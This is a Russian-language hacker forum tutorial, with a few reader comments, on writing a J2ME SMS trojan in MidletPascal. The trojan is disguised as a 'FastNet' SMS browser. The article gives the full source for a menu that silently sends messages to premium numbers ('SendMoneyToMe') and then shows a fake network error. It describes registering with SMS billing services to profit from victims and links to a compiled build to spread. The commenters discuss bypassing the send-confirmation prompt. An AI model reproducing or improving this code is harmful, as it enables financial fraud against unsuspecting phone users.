Автор: VaZoNeZ / H.A.T. Каждый приличный и уважающий себя кодер должен начать зарабатывать на своем мастерстве. Вот мы с тобой и начнем косить американских президентов на наивных пользователях Интернета. Ты наверно слышал о такой штуке как СМС-биллинг. Наивные юзеры шлют смс с каким-нибуть пожеланием или текстом как в чат, или заказывают контент. Искать тебе биллинги прийдется, все уже собрано в одном месте - http://allpublication.ru/sms/ . Выбирай любую и регистрируйся. Надеюсь, ты уже сбегал и зарегался, а заодно получил свой префикс - тот текст, который мы будем слать в СМС-ке. Подготовка к кодингу План - создание трояна для скрытой отсылки смс на платные номера (твои smile Я решил маскировать зловреда под СМС-браузер (ничего не напоминает ?) Важным пунктом в сегодяшнем меню будет софт для кодинга. Надеюсь ты знаешь, что программы и игры для телефонов (мидлеты) пишутся на языке Java. Но мы с тобой не будем учить новый ЯП, а воспользуемся простым решением - MidletPascal. Это обычный паскаль, но для телефона, в котором встроены готовые очень полезные функции. Скачать его можно с официального сайта проги ( http://www.midletpascal.com/ ). Будем считать, что ты уже скачал и установил MidletPascal. The Trojan Begins Для начала создавай новый проект (File -> New Project). В имя проэкта вбивай что-то наподобие SMS_Trojan, в окошке выбирай пункт "Default MIDP project" и жми "Create". В окне кода появится начальный исходник мидлета: Код: program SMS_Trojan; begin drawText('Hello world!', 0, 0); repaint; delay(2000); end. Объяснение этих функций есть в справке, потому не будем тратить время на это smile Убирай все от begin до end. В справке есть готовый пример отсылки смс: Код: begin if not SmsStartSend('sms://+5550000', 'Hello!') then Halt; while SmsIsSending do // wait for the message to be sent Delay(100); if not SmsWasSuccessfull then Halt; // check if the message was sent successfully end. SmsStartSend - функция отправки СМС SmsIsSending - проверяет, осылается соощение или нет SmsWasSuccessfull - проверяет, было ли успешо отослано последнее соощение Delay - останавливает исполнение мидлета на указанное количество миллисекунд Этим примером лучше не пользоваться из-за его простоты, т.к. жертва почувствует подвох, когда прога просто вырубится. А нам нужно, чтобы все было красиво smile Поэтому мы создадим интерфейс для жертвы, чтобы она чувствовала себя уютно, пока ее деньги идут нам. ГУИ: - Главное меню с 4 пунктами - Пункты "Справка" и "Про программу" Мы будем использовать такие константы в мидлете: Код: const SendErr='Ошибка 109. Возможно не настроена сеть или оператор отключил службу SMS. Попробуйте воспользоваться услугой позже.'; AboutStr='Made by Butlik, 2009'; HelpStr='С помощью браузера FastNet вы сможете экономить 95% трафика, так как интернет будет работать через систему СМС.'; NUMBERS=1; SendErr - Сообщение, которое появится после удачной отсылки всех СМС AboutStr - Какой-то левый копирайт smile Что же это будет за мега браузер, если в нем не будет неписано чей он. Это будет подозрительно. HelpStr - Справка wink Тут должна работать фантазия. NUMBERS - количество номеров, на которые будет идти отправка СМС. Мы будем использовать такие переменные в мидлете: Код: var numb,text:array[1..NUMBERS] of string; // массивы строк с текстами сообщений и номерами p:array[1..4] of integer; // массив хэндлов пунктов меню m:array[1..4] of string; // массив строк с названиями пунктов меню clicked, callmenu, exit : command; // команды для софт клавиш label_id, // хэндл надписей (справки, ошибки и т.д.) i,d : integer; // счетчики Создадим процедуру динамического создания главного меню: Код: /---------------------------------------------------------------------------------------------------------------------------------------- procedure mainmenu; var click: Command; // элемент "command" - по сути это назначение кнопки для софт клавиши begin showMenu('Выбери действие', CH_IMPLICIT); // покажем меню с заголовком "Выбери действие", тип - CH_IMPLICIT - обычное меню (подробнее в справке) for d:=1 to 4 do // в этом цикле мы p[d] := menuAppendString(m[d]); // добавляем в меню пункты с названиями из массива строк m, и сохраняем ихние хэндлы в масив integer'ов p repeat delay(100); // пауза click := GetClickedCommand; // получаем нажатую клавишу until click <> EmptyCommand; // в этом цикле мы ждем, пока будет нажата любая софт клавиша, для которой есть элемент "command" end; //---------------------------------------------------------------------------------------------------------------------------------------- Теперь напишем сердце троя - процедура отсылки СМС: Код: //---------------------------------------------------------------------------------------------------------------------------------------- procedure SendMoneyToMe; begin for d:=1 to NUMBERS do // цикл отсылки begin if not SmsStartSend('sms://'+numb[d], text[d]) // попытка послать собощение then Halt; // если она была неудачная, то вырубимся while SmsIsSending do // пока смс-ка посылается Delay(100); // ждем <img src="http://s32.ucoz.net/sm/1/smile.gif" border="0" align="absmiddle" alt="smile"> end; end; //---------------------------------------------------------------------------------------------------------------------------------------- Теперь напишем основу троя (для понимания разбита на части) : Код: //---------------------------------------------------------------------------------------------------------------------------------------- m[1]:='Начать роботу'; // Это все m[2]:='Про программу'; // заполнение массива m[3]:='Справка'; // пунктов m[4]:='Выход'; // меню Numb[1]:='1234'; // А это заполнение массивов с номерами text[1]:='7777'; // и текстами сообщений Repeat // здесь главный начинается цикл, в котором проверяем, была ли нажата кнопка "Выход" mainmenu; // вызоваем функцию создания меню for d:=1 to 4 do // в том цикле мы определяем, какой пункт меню был выбран if MenuIsSelected(p[d]) then i:=d; // с помощью функции MenuIsSelected ClearForm; // полностью очищаем форму от всех менюшек, лэйблов и т.д. // в зависимости от i, выбираем, какое действие нам сделать if i=1 then // если был выбран пункт меню "Начать роботу" begin SendMoneyToMe; // отсылаем смс-ки label_id := FormAddString(SendErr); //показываем ошибку <img src="http://s32.ucoz.net/sm/1/smile.gif" border="0" align="absmiddle" alt="smile"> end; if i=2 then // если был выбран пункт меню "Про программу" label_id := FormAddString(AboutStr); // показываем строку с about'ом if i=3 then // если был выбран пункт меню "Справка" label_id := FormAddString(HelpStr); // показываем строку с help'ом if i=4 then // если был выбран пункт меню "Выход" halt; // вырубаемся ShowForm; // показываем форму callmenu := CreateCommand('Меню', CM_SCREEN, 1); // создаем команду "Меню" для софт клавиши AddCommand(callmenu); // и добавляем ее на дисплей exit := CreateCommand('Выход', CM_EXIT, 2); // создаем команду "Выход" для софт клавиши AddCommand(exit); // и добавляем ее на дисплей clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked Repeat // цикл, в котором мидлет ожидает нажатия софт клавиши Delay(100); // пауза clicked := GetClickedCommand; // сохраняем нажатую кнопку в переменую clicked If clicked = exit Then Break; // если была нажата кнопка "Выход", то выходим из этого цикла Until clicked = callmenu; // условие - повторять, пока не нажата кнопка "Меню" Until clicked = exit; // условие - повторять, пока не нажата кнопка "Выход" // если мы здесь, значит юзверь все-таки нажал на "Выход" Delay(1000); // ждем 1 секунду перед выходом //---------------------------------------------------------------------------------------------------------------------------------------- Окей, хеппи-энд. (с) Для особо ленивых (да, я знаю, это ты), я выложил весь проект с иконкой, скомпилиным jar и всем остальным. http://vazonez.at.ua/publications/SMS_Trojan.rar Итоги: - Софт на мобилу - это просто! - Никто тебя не ограничивает - пиши хоть игры - Деньги можно зарабатывать, раздавая линк с чудо-браузером Удачи! ha-team.3dn.ru
1)Нужно приватные партнерки искать! иначе будешь обогащать админов легал-партнерок... 2)как настраивать свой номер и перф в трое 3)очепяток жесть... даже в коде умудрился очепятки допустить
sys-dependence, не парься и не запускай скомпилируемый файл (разве охота тратить деньги?) и харе флудить, нормально разве нельзя обсуждать тему ? Amiаlс, +1
1. Перед отправкой смс просит подтверждение, как это обойти? 2. Пишет смс отправлен, но не приходит на отправленый номер, в чём проблема?
Линк сдох, но первоисточник жиф) http://vazonez.org.ua/lib/35-coding/49-sms-trojan Никак, запроса подтверждения не будет только если прошивка тела пропатченная.